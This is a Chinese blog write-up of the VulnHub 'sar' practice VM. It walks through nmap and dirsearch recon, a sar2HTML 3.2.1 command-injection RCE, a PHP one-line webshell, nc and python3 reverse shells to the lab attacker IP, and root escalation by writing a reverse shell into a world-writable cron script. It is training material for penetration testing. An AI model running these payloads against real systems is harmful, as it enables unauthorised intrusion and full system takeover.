vulnhub sar 靶场练习

前言

这次练习的靶机是vulnhub平台下的sar,该靶机是一个类似oscp的虚拟机,目的是提高并巩固渗透测试的知识点。下载地址为https://www.vulnhub.com/entry/sar-1,425/。这个靶机中没有出现新的知识点,难度相对比较简单。如果看过我前面vulnhub DC系列的文章,那么这次靶机可以独立自主完成。

虚拟机配置

这次采用的网络连接模式依然是NAT模式,为了避免扫描到其他物理主机。在导入虚拟机后,右击sar靶机,然后选中配置。依次点击网络配置->NAT模式->高级->生成,然后确认即可。

在这里插入图片描述

收集信息

nmap -sn --min-parallelism 100 --min-hostgroup 100 192.168.119.0/24

-sn 代表存活主机扫描,不进行端口测探。

–min-parallelism 代表调整探测报文的并行度,也就是在扫描同一台主机时会发送很多个探测数据包,这个参数指定的数即nmap一次至少要发多少个数据包。

–min-hostgroup 代表调整并行扫描组的大小,也就是一次性同时对多少台主机进行扫描。

更详细内容可以参考:https://zhuanlan.zhihu.com/p/322244582,关于nmap的一些性能参数的学习。

在这里插入图片描述

发现靶机的IP地址为 192.168.119.174,然后用nmap对靶机进行详细地扫描。

nmap -A -sV -p- --min-parallelism 100 192.168.119.174

-A 代表综合性扫描,能收集很多重要的信息

-sV 代表扫描主要的服务信息

-p- 参数p是指定端口,后面的-代表所有端口。

在这里插入图片描述

发现只开放的80端口,看来突破口只能从web上找了。用浏览器打开该网站。

在这里插入图片描述

发现是ubuntu的默认页面,用目录扫描工具dirsearch扫描一下,看看有没有隐藏的目录和文件。

dirsearch -u 192.168.119.174

在这里插入图片描述

发现了两个关键文件,其中 robots.txt一般保存一些关键目录,防止搜索引擎的爬虫爬取这些目录。所以访问这个文件或许会发现新的目录或文件。

http://192.168.119.174/robots.txt

在这里插入图片描述

发现了一个目录,继续访问这个目录。

http://192.168.119.174/sar2HTML

在这里插入图片描述

发现这个页面可以上传文件,尝试上传一个一句话木马。木马代码如下,将其保存为php文件并上传:

<?php system("$_GET['a']");?>

上传后不知道文件在哪里,用目录扫描工具对 http://192.168.119.174/sar2HTML进行扫描,但是没有扫描到上传的目录。用谷歌查一下该程序的上传目录,或者在github寻找该程序的源码。

在这里插入图片描述

一不小心发现了sar2HTML的远程代码执行漏洞,该靶机上sar2HTML的版本刚好是3.2.1,可以利用该漏洞建立反弹shell。

通过远程代码执行建立shell

sar2HTML的远程代码执行利用方式已经给出来了,在浏览器的URL输入如下地址就可执行命令。

http://192.168.119.174/sar2HTML/index.php?plot=;<系统命令>

要注意的是靶机的web程序是放在sar2HTML目录中,所以不要把这个目录给忘了。

在这里插入图片描述

首先在本地监听一个端口 4443,然后通过nc反弹一个shell。

http://192.168.119.174/index.php?plot=;nc -e /bin/bash 192.168.119.130 4443

反弹没有成功,可能是靶机的nc禁用了-e参数,可以尝试一下另一种方法:

http://192.168.119.174/sar2HTML/index.php?plot=;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.130",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.du

注意靶机上只安装了python3,所以用python来执行命令不会成功。

了解更多关于反弹shell的方法可以参考:https://www.jianshu.com/p/5b73a607e2ea,反弹shell

使用Python反弹shell成功!

在这里插入图片描述

提权

拿到shell后首先尝试了suid提权,内核提权,但是没有成功!到家目录里面也没有发现特殊文件,然后到网站的根目录下寻找特殊文件。

cd /var/www/html
ls -la

在这里插入图片描述

发现了两个特殊文件 :finally.sh这个文件属于root,write.sh这个文件具有777权限。查看一下这两个文件里面的内容。

cat finally.sh
cat write.sh

在这里插入图片描述

发现finally.sh里的内容就是执行write.sh文件,而write.sh文件的作用就是创建一个文件 /tmp/gateway。由此想到了计划任务提权,查看一下 定时任务的配置文件/etc/crontab

在这里插入图片描述

果然定时计划配置不当,系统会每五分钟就以root权限执行finally.sh。现在将反弹shell的代码写入write.sh中。

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

注意修改其中的IP地址与端口,写入write.sh后检查一下有没有缺少引号。

在这个定时任务提权中,不能将’/bin/sh’写入write.sh中来提权,因为执行该文件的是系统自动启动的一个shell,而不是当前自己可控的shell。

然后在本地监听4444端口并等待靶机反弹一个具有root权限的shell即可。

在这里插入图片描述

提权成功,读取flag。

cd /root
cat root.txt

在这里插入图片描述

参考文献

[1] https://www.jianshu.com/p/5b73a607e2ea,反弹shell。

posted @ 2021-09-07 15:40  rpsate  阅读(234)  评论(0编辑  收藏  举报